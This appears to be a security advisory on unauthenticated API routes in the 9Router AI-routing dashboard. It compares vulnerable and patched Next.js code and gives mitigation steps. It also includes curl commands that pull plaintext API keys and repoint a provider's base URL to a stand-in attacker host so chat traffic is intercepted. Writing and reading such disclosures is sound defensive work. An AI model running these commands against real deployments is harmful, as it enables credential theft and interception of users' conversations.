Jul 7, 2026·5 min read·45 visits
Unauthenticated API endpoints in 9Router expose sensitive API keys, allow unauthorized configuration changes, and leak multi-turn conversation transcripts.
An access control deficiency in the 9Router dashboard allows unauthenticated remote attackers to perform full CRUD operations on integrated AI providers, extract plaintext API keys, and access complete system conversation histories.
9Router functions as an AI orchestration and routing middleware dashboard built on the Next.js framework. It acts as a central hub for forwarding user prompts to various large language model (LLM) providers like OpenAI, Anthropic, and GitHub Copilot based on availability, latency, or cost constraints.\n\nBecause 9Router is designed to manage high-value API credentials and record comprehensive chat history telemetry, securing its backend interface is critical. However, in versions prior to and including 0.4.41, multiple critical API routes exposed directly to the internet lacked any form of session validation or access control check.\n\nThis omission exposes the entire system state, allowing any remote client to interact with administrative APIs. This vulnerability is classified under CWE-306 (Missing Authentication for Critical Function), CWE-862 (Missing Authorization), and CWE-200 (Exposure of Sensitive Information to an Unauthorized Actor).
The root cause of these access control failures lies in the design of the Next.js App Router handlers inside the 9Router dashboard codebase. In Next.js, API routes defined in files such as src/app/api/providers/route.ts are automatically compiled as publicly reachable endpoints unless developers explicitly implement intercepting logic.\n\nDuring development, no global authentication middleware was registered under middleware.ts to intercept requests targeting /api/providers or /api/usage. Consequently, these route files processed all incoming HTTP methods (GET, POST, PUT, DELETE) directly without querying session status or verifying bearer tokens.\n\nThe vulnerability in /api/usage/stats/route.ts originates from a secondary serialization failure. The query handler retrieves the raw records containing full third-party API key values to generate statistics. Instead of filtering the sensitive database outputs or masking credential fields before returning them to the caller, the route serializes the unmodified database objects directly into the JSON response structure.
To illustrate the structural differences, consider the pattern of a vulnerable Next.js Route Handler versus a secured alternative.\n\ntypescript\n// Vulnerable: src/app/api/providers/route.ts\nimport { NextResponse } from 'next/server';\nimport { prisma } from '@/lib/db';\n\n// GET handler returns all active provider configurations without credentials verification\nexport async function GET() {\n const providers = await prisma.provider.findMany();\n return NextResponse.json(providers);\n}\n\n// POST handler accepts and executes database writes from any remote client\nexport async function POST(request: Request) {\n const body = await request.json();\n const newProvider = await prisma.provider.create({ data: body });\n return NextResponse.json(newProvider, { status: 201 });\n}\n\n\ntypescript\n// Patched: Implementation utilizing robust session verification\nimport { NextResponse } from 'next/server';\nimport { prisma } from '@/lib/db';\nimport { getServerSession } from 'next-auth';\nimport { authOptions } from '@/lib/auth-options';\n\nexport async function GET() {\n const session = await getServerSession(authOptions);\n if (!session) {\n return NextResponse.json({ error: 'Unauthorized' }, { status: 401 });\n }\n\n // Ensure keys are excluded from selection to prevent leaking credentials\n const providers = await prisma.provider.findMany({\n select: {\n id: true,\n name: true,\n baseUrl: true,\n // apiKey is explicitly omitted here\n }\n });\n return NextResponse.json(providers);\n}\n\n\nThis code comparison highlights that securing the application requires both verification of session context and careful data filtering to ensure secrets do not get serialized into public payloads.
Exploiting these unauthenticated endpoints is straightforward and requires only standard command-line tools. An attacker can construct a network flow model of the vulnerability as shown below:\n\nmermaid\ngraph LR\n Attacker["Unauthenticated Attacker"] -->|1. GET /api/usage/stats| VulnerableRoute["Next.js API Routes"]\n VulnerableRoute -->|2. Raw Query| Database["Database (Prisma)"]\n Database -->|3. Unmasked Credentials| VulnerableRoute\n VulnerableRoute -->|4. Cleartext API Keys| Attacker\n\n\nInitially, the attacker audits the host's /api/providers endpoint to enumerate configured AI integrations. This request yields a JSON document with active system parameters, including resource identifiers and the layout of the deployed AI infrastructure.\n\nbash\ncurl -s https://vulnerable-instance.local/api/providers\n\n\nTo extract active credentials, the attacker queries /api/usage/stats. Because the server does not filter the returned datasets, the payload includes unmasked authorization tokens for systems like OpenAI or Anthropic.\n\nbash\ncurl -s https://vulnerable-instance.local/api/usage/stats\n\n\nFinally, an attacker can hijack the prompt routing mechanism itself by sending a PUT or POST payload to change the target API endpoint URL. By pointing a provider's database record to a malicious server, the attacker intercepts all subsequent downstream chat requests containing proprietary data or system instructions.\n\nbash\ncurl -X PUT https://vulnerable-instance.local/api/providers/target-id \\\n -H "Content-Type: application/json" \\\n -d '{"name":"hijacked-connection","apiKey":"sk-attacker-key","baseUrl":"https://attacker-intercept.com/v1"}'\n
The architectural position of 9Router amplifies the consequences of this vulnerability. An attacker obtaining full CRUD operations over providers can manipulate where user queries are routed. This enables prompt interception, where proprietary algorithms, corporate source code, or internal business queries sent to the AI are logged by an attacker-controlled endpoint.\n\nFurthermore, the leakage of plaintext keys represents an immediate financial risk. Valid API keys for services like Anthropic Claude or OpenAI GPT-4 can be used to run automated scripts or host secondary applications at the victim's expense, incurring substantial billing charges.\n\nFinally, the exposure of /api/usage/request-logs and detailed trace endpoints exposes full multi-turn conversation payloads. This compromises user confidentiality on a systemic scale, revealing sensitive internal discussions, administrative inquiries, and telemetry details.
Mitigation requires immediate code updates and credential remediation. Administrators must upgrade 9Router installations to a patched version such as 0.4.45. This version implements authentication checks on critical administrative routes.\n\nBecause credentials were leaked in plaintext, all API keys registered in the dashboard before patching must be considered compromised. Operators must immediately rotate every OpenAI, Anthropic, and secondary service credential associated with the platform to terminate active unauthorized access sessions.\n\nTo secure self-deployed instances directly, configure a Next.js middleware.ts file to block requests lacking valid session tokens. This global handler should reject calls targeting administrative routes with an HTTP 401 response before database execution occurs.\n\ntypescript\n// Example middleware.ts entry point\nimport { NextResponse } from 'next/server';\nimport type { NextRequest } from 'next/server';\n\nexport function middleware(request: NextRequest) {\n const token = request.cookies.get('next-auth.session-token') || request.headers.get('Authorization');\n if (!token && (request.nextUrl.pathname.startsWith('/api/providers') || request.nextUrl.pathname.startsWith('/api/usage'))) {\n return NextResponse.json({ error: 'Authentication Required' }, { status: 401 });\n }\n return NextResponse.next();\n}\n
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H| Product | Affected Versions | Fixed Version |
|---|---|---|
9router decolua | <= 0.4.41 | 0.4.45 |
| Attribute | Detail |
|---|---|
| CWE ID | CWE-306, CWE-200, CWE-862 |
| Attack Vector | Network |
| CVSS Score | 10.0 |
| Impact | Total Access Control Bypass, Credential Harvest, Traffic Hijacking |
| Exploit Status | Proof of Concept available |
The application does not perform any authentication checks for critical functionality, allowing unauthorized access to restricted endpoints.
An authenticated user with global translation permissions can exploit a missing authorization check on the page translation endpoint in Wagtail CMS. This allows the attacker to copy and view pages they do not have explicit edit or explore access to.
An uncontrolled resource allocation vulnerability (CWE-770) affects Mailpit SMTP server versions 1.30.0 through 1.30.4. The vulnerability is located within the DATA parsing logic, where an unauthenticated remote attacker can stream an endless sequence of bytes devoid of newline characters. Because line size limits are evaluated only after buffer completion, the Go runtime repeatedly allocates memory on the heap to store the single oversized line, causing resource exhaustion and an Out-Of-Memory termination of the service process.
A critical cross-site WebSocket hijacking (CSWSH) vulnerability in Mailpit allows malicious websites to bypass CORS security controls via URL-encoded path mismatches, exposing sensitive development SMTP communications to unauthorized actors.
A critical vulnerability in Dgraph Alpha allows unauthenticated network clients to delete and replace database stores. The public gRPC interface on port 9080 processes external snapshot streams without enforcing authentication or authorization, triggering immediate database destruction via the storage engine's initialization process.
A security vulnerability in Copier versions 9.5.0 through 9.15.1 allows unauthenticated remote code execution via crafted HTTP requests or local paths containing traversal sequences. The trust-evaluation mechanism compares target repository paths or URLs against trusted prefixes using unnormalized string comparison, while the subsequent fetching mechanism normalizes the path before cloning. Attackers can exploit this asymmetry to bypass security warning prompts and execute arbitrary commands under the local user context.
GeoLens before version 1.2.4 contains multiple critical-tier security vulnerabilities including improper authorization in metadata access, tile cache scope leakage, dataset title enumeration, weak default credentials, and denial of service via STAC POST search.